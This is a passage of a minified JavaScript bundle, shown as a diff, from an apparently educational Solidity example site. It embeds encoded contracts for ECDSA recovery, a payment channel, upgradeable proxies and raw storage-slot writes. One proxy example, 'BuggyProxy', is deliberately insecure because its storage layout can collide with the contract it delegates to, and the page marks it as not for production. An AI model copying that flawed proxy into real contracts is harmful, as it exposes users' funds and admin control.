F0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgUmVlbnRyYW5jeUd1YXJkIHsKICAgIGJvb2wgcHJpdmF0ZSBsb2NrZWQ7CgogICAgbW9kaWZpZXIgZ3VhcmQoKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9Cn0KCmNvbnRyYWN0IFVuaURpcmVjdGlvbmFsUGF5bWVudENoYW5uZWwgaXMgUmVlbnRyYW5jeUd1YXJkIHsKICAgIHVzaW5nIEVDRFNBIGZvciBieXRlczMyOwoKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgc2VuZGVyOwogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyByZWNlaXZlcjsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3ICogMjQgKiA2MCAqIDYwOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgcGF5YWJsZSBfcmVjZWl2ZXIpIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoX3JlY2VpdmVyICE9IGFkZHJlc3MoMCksICJyZWNlaXZlciA9IHplcm8gYWRkcmVzcyIpOwogICAgICAgIHNlbmRlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgcmVjZWl2ZXIgPSBfcmVjZWl2ZXI7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEhhc2godWludDI1NiBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdCBhZ2FpbnMKICAgICAgICAvLyByZXBsYXkgYXR0YWNrIG9uIG90aGVyIGNvbnRyYWN0cwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0SGFzaCh1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KS50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX3ZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCkucmVjb3Zlcihfc2lnKSA9PSBzZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KHVpbnQyNTYgX2Ftb3VudCwgYnl0ZXMgbWVtb3J5IF9zaWcpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX3ZlcmlmeShfYW1vdW50LCBfc2lnKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbG9zZSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKSBleHRlcm5hbCBndWFyZCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHJlY2VpdmVyLCAiIXJlY2VpdmVyIik7CiAgICAgICAgcmVxdWlyZShfdmVyaWZ5KF9hbW91bnQsIF9zaWcpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcmVjZWl2ZXIuY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZW5kZXIsICIhc2VuZGVyIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiIWV4cGlyZWQiKTsKICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VuZGVyKTsKICAgIH0KfQo="}],hu=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              Here is how this contract is used:

              • Alice deploys the contract, funding it with some Ether.
                • @@ -2883,7 +2883,7 @@ After a mimimum waiting period, the transaction can be executed.

                ); } } -`,IA=({prev:s,next:a})=>r.jsx(u,{version:oA,title:rA,description:iA,html:hA,prev:s,next:a,codes:gA}),dA="0.8.24",CA="Upgradeable Proxy",jA="Example of upgradeable proxy",uA=[{fileName:"UpgradeableProxy.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Transparent upgradeable proxy pattern

contract CounterV1 {
    uint256 public count;

    function inc() external {
        count += 1;
    }
}

contract CounterV2 {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract BuggyProxy {
    address public implementation;
    address public admin;

    constructor() {
        admin = msg.sender;
    }

    function _delegate() private {
        (bool ok,) = implementation.delegatecall(msg.data);
        require(ok, "delegatecall failed");
    }

    fallback() external payable {
        _delegate();
    }

    receive() external payable {
        _delegate();
    }

    function upgradeTo(address _implementation) external {
        require(msg.sender == admin, "not authorized");
        implementation = _implementation;
    }
}

contract Dev {
    function selectors() external view returns (bytes4, bytes4, bytes4) {
        return (
            Proxy.admin.selector,
            Proxy.implementation.selector,
            Proxy.upgradeTo.selector
        );
    }
}

contract Proxy {
    // All functions / variables should be private, forward all calls to fallback

    // -1 for unknown preimage
    // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    bytes32 private constant IMPLEMENTATION_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
    bytes32 private constant ADMIN_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);

    constructor() {
        _setAdmin(msg.sender);
    }

    modifier ifAdmin() {
        if (msg.sender == _getAdmin()) {
            _;
        } else {
            _fallback();
        }
    }

    function _getAdmin() private view returns (address) {
        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
    }

    function _setAdmin(address _admin) private {
        require(_admin != address(0), "admin = zero address");
        StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin;
    }

    function _getImplementation() private view returns (address) {
        return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;
    }

    function _setImplementation(address _implementation) private {
        require(
            _implementation.code.length > 0, "implementation is not contract"
        );
        StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation;
    }

    // Admin interface //
    function changeAdmin(address _admin) external ifAdmin {
        _setAdmin(_admin);
    }

    // 0x3659cfe6
    function upgradeTo(address _implementation) external ifAdmin {
        _setImplementation(_implementation);
    }

    // 0xf851a440
    function admin() external ifAdmin returns (address) {
        return _getAdmin();
    }

    // 0x5c60da1b
    function implementation() external ifAdmin returns (address) {
        return _getImplementation();
    }

    // User interface //
    function _delegate(address _implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.

            // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t
            // calldatasize() - size of call data in bytes
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.

            // delegatecall(g, a, in, insize, out, outsize) -
            // - call contract at address a
            // - with input mem[in…(in+insize))
            // - providing g gas
            // - and output area mem[out…(out+outsize))
            // - returning 0 on error (eg. out of gas) and 1 on success
            let result :=
                delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t
            // returndatasize() - size of the last returndata
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s))
                revert(0, returndatasize())
            }
            default {
                // return(p, s) - end execution, return data mem[p…(p+s))
                return(0, returndatasize())
            }
        }
    }

    function _fallback() private {
        _delegate(_getImplementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }
}

contract ProxyAdmin {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function getProxyAdmin(address proxy) external view returns (address) {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.admin, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function getProxyImplementation(address proxy)
        external
        view
        returns (address)
    {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.implementation, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function changeProxyAdmin(address payable proxy, address admin)
        external
        onlyOwner
    {
        Proxy(proxy).changeAdmin(admin);
    }

    function upgrade(address payable proxy, address implementation)
        external
        onlyOwner
    {
        Proxy(proxy).upgradeTo(implementation);
    }
}

library StorageSlot {
    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot)
        internal
        pure
        returns (AddressSlot storage r)
    {
        assembly {
            r.slot := slot
        }
    }
}

contract TestSlot {
    bytes32 public constant slot = keccak256("TEST_SLOT");

    function getSlot() external view returns (address) {
        return StorageSlot.getAddressSlot(slot).value;
    }

    function writeSlot(address _addr) external {
        StorageSlot.getAddressSlot(slot).value = _addr;
    }
}
"}],AA=`

                Example of upgradeable proxy contract. Never use this in production.

                +`,Iu=({prev:s,next:a})=>r.jsx(A,{version:ou,title:ru,description:iu,html:hu,prev:s,next:a,codes:gu}),du="0.8.24",Cu="Upgradeable Proxy",ju="Example of upgradeable proxy",Au=[{fileName:"UpgradeableProxy.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Transparent upgradeable proxy pattern

contract CounterV1 {
    uint256 public count;

    function inc() external {
        count += 1;
    }
}

contract CounterV2 {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract BuggyProxy {
    address public implementation;
    address public admin;

    constructor() {
        admin = msg.sender;
    }

    function _delegate() private {
        (bool ok,) = implementation.delegatecall(msg.data);
        require(ok, "delegatecall failed");
    }

    fallback() external payable {
        _delegate();
    }

    receive() external payable {
        _delegate();
    }

    function upgradeTo(address _implementation) external {
        require(msg.sender == admin, "not authorized");
        implementation = _implementation;
    }
}

contract Dev {
    function selectors() external view returns (bytes4, bytes4, bytes4) {
        return (
            Proxy.admin.selector,
            Proxy.implementation.selector,
            Proxy.upgradeTo.selector
        );
    }
}

contract Proxy {
    // All functions / variables should be private, forward all calls to fallback

    // -1 for unknown preimage
    // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    bytes32 private constant IMPLEMENTATION_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
    bytes32 private constant ADMIN_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);

    constructor() {
        _setAdmin(msg.sender);
    }

    modifier ifAdmin() {
        if (msg.sender == _getAdmin()) {
            _;
        } else {
            _fallback();
        }
    }

    function _getAdmin() private view returns (address) {
        return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
    }

    function _setAdmin(address _admin) private {
        require(_admin != address(0), "admin = zero address");
        StorageSlot.getAddressSlot(ADMIN_SLOT).value = _admin;
    }

    function _getImplementation() private view returns (address) {
        return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;
    }

    function _setImplementation(address _implementation) private {
        require(
            _implementation.code.length > 0, "implementation is not contract"
        );
        StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = _implementation;
    }

    // Admin interface //
    function changeAdmin(address _admin) external ifAdmin {
        _setAdmin(_admin);
    }

    // 0x3659cfe6
    function upgradeTo(address _implementation) external ifAdmin {
        _setImplementation(_implementation);
    }

    // 0xf851a440
    function admin() external ifAdmin returns (address) {
        return _getAdmin();
    }

    // 0x5c60da1b
    function implementation() external ifAdmin returns (address) {
        return _getImplementation();
    }

    // User interface //
    function _delegate(address _implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.

            // calldatacopy(t, f, s) - copy s bytes from calldata at position f to mem at position t
            // calldatasize() - size of call data in bytes
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.

            // delegatecall(g, a, in, insize, out, outsize) -
            // - call contract at address a
            // - with input mem[in…(in+insize))
            // - providing g gas
            // - and output area mem[out…(out+outsize))
            // - returning 0 on error (eg. out of gas) and 1 on success
            let result :=
                delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            // returndatacopy(t, f, s) - copy s bytes from returndata at position f to mem at position t
            // returndatasize() - size of the last returndata
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                // revert(p, s) - end execution, revert state changes, return data mem[p…(p+s))
                revert(0, returndatasize())
            }
            default {
                // return(p, s) - end execution, return data mem[p…(p+s))
                return(0, returndatasize())
            }
        }
    }

    function _fallback() private {
        _delegate(_getImplementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }
}

contract ProxyAdmin {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function getProxyAdmin(address proxy) external view returns (address) {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.admin, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function getProxyImplementation(address proxy)
        external
        view
        returns (address)
    {
        (bool ok, bytes memory res) =
            proxy.staticcall(abi.encodeCall(Proxy.implementation, ()));
        require(ok, "call failed");
        return abi.decode(res, (address));
    }

    function changeProxyAdmin(address payable proxy, address admin)
        external
        onlyOwner
    {
        Proxy(proxy).changeAdmin(admin);
    }

    function upgrade(address payable proxy, address implementation)
        external
        onlyOwner
    {
        Proxy(proxy).upgradeTo(implementation);
    }
}

library StorageSlot {
    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot)
        internal
        pure
        returns (AddressSlot storage r)
    {
        assembly {
            r.slot := slot
        }
    }
}

contract TestSlot {
    bytes32 public constant slot = keccak256("TEST_SLOT");

    function getSlot() external view returns (address) {
        return StorageSlot.getAddressSlot(slot).value;
    }

    function writeSlot(address _addr) external {
        StorageSlot.getAddressSlot(slot).value = _addr;
    }
}
"}],uu=`

                Example of upgradeable proxy contract. Never use this in production.

                This example shows

                • how to use delegatecall and return data when fallback is called.
                  • @@ -3140,7 +3140,7 @@ After a mimimum waiting period, the transaction can be executed.

                  StorageSlot.getAddressSlot(slot).value = _addr; } } -`,yA=({prev:s,next:a})=>r.jsx(u,{version:dA,title:CA,description:jA,html:AA,prev:s,next:a,codes:uA}),mA="0.8.24",bA="Write to Any Slot",wA="Write to Any Slot",kA=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdChieXRlczMyIHNsb3QpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoQWRkcmVzc1Nsb3Qgc3RvcmFnZSBwb2ludGVyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gR2V0IHRoZSBwb2ludGVyIHRvIEFkZHJlc3NTbG90IHN0b3JlZCBhdCBzbG90CiAgICAgICAgICAgIHBvaW50ZXIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBURVNUX1NMT1QgPSBrZWNjYWsyNTYoIlRFU1RfU0xPVCIpOwoKICAgIGZ1bmN0aW9uIHdyaXRlKGFkZHJlc3MgX2FkZHIpIGV4dGVybmFsIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIGRhdGEudmFsdWUgPSBfYWRkcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIHJldHVybiBkYXRhLnZhbHVlOwogICAgfQp9Cg=="}],ZA=`

                  Solidity storage is like an array of length 2^256. +`,yu=({prev:s,next:a})=>r.jsx(A,{version:du,title:Cu,description:ju,html:uu,prev:s,next:a,codes:Au}),mu="0.8.24",bu="Write to Any Slot",wu="Write to Any Slot",ku=[{fileName:"Slot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdChieXRlczMyIHNsb3QpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoQWRkcmVzc1Nsb3Qgc3RvcmFnZSBwb2ludGVyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gR2V0IHRoZSBwb2ludGVyIHRvIEFkZHJlc3NTbG90IHN0b3JlZCBhdCBzbG90CiAgICAgICAgICAgIHBvaW50ZXIuc2xvdCA6PSBzbG90CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBUZXN0U2xvdCB7CiAgICBieXRlczMyIHB1YmxpYyBjb25zdGFudCBURVNUX1NMT1QgPSBrZWNjYWsyNTYoIlRFU1RfU0xPVCIpOwoKICAgIGZ1bmN0aW9uIHdyaXRlKGFkZHJlc3MgX2FkZHIpIGV4dGVybmFsIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIGRhdGEudmFsdWUgPSBfYWRkcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICBTdG9yYWdlU2xvdC5BZGRyZXNzU2xvdCBzdG9yYWdlIGRhdGEgPQogICAgICAgICAgICBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChURVNUX1NMT1QpOwogICAgICAgIHJldHVybiBkYXRhLnZhbHVlOwogICAgfQp9Cg=="}],Zu=`

                  Solidity storage is like an array of length 2^256. Each slot in the array can store 32 bytes.

                  Order of declaration and the type of state variables define which slots it will use.

                  However using assembly, you can write to any slot.

                  @@ -3180,7 +3180,7 @@ Each slot in the array can store 32 bytes.

                  return data.value; } } -`,WA=({prev:s,next:a})=>r.jsx(u,{version:mA,title:bA,description:wA,html:ZA,prev:s,next:a,codes:kA}),BA="0.8.24",GA="Array",VA="Learn about arrays in Solidity",fA=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKICAgIHVpbnQyNTZbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50MjU2WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50MjU2IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb3AoKSBwdWJsaWMgewogICAgICAgIC8vIFJlbW92ZSBsYXN0IGVsZW1lbnQgZnJvbSBhcnJheQogICAgICAgIC8vIFRoaXMgd2lsbCBkZWNyZWFzZSB0aGUgYXJyYXkgbGVuZ3RoIGJ5IDEKICAgICAgICBhcnIucG9wKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGVuZ3RoKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnIubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2IGluZGV4KSBwdWJsaWMgewogICAgICAgIC8vIERlbGV0ZSBkb2VzIG5vdCBjaGFuZ2UgdGhlIGFycmF5IGxlbmd0aC4KICAgICAgICAvLyBJdCByZXNldHMgdGhlIHZhbHVlIGF0IGluZGV4IHRvIGl0J3MgZGVmYXVsdCB2YWx1ZSwKICAgICAgICAvLyBpbiB0aGlzIGNhc2UgMAogICAgICAgIGRlbGV0ZSBhcnJbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4YW1wbGVzKCkgZXh0ZXJuYWwgewogICAgICAgIC8vIGNyZWF0ZSBhcnJheSBpbiBtZW1vcnksIG9ubHkgZml4ZWQgc2l6ZSBjYW4gYmUgY3JlYXRlZAogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYSA9IG5ldyB1aW50MjU2W10oNSk7CiAgICB9Cn0K"},{fileName:"ArrayRemoveByShifting.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVtb3ZlQnlTaGlmdGluZyB7CiAgICAvLyBbMSwgMiwgM10gLS0gcmVtb3ZlKDEpIC0tPiBbMSwgMywgM10gLS0+IFsxLCAzXQogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDZdIC0tIHJlbW92ZSgyKSAtLT4gWzEsIDIsIDQsIDUsIDYsIDZdIC0tPi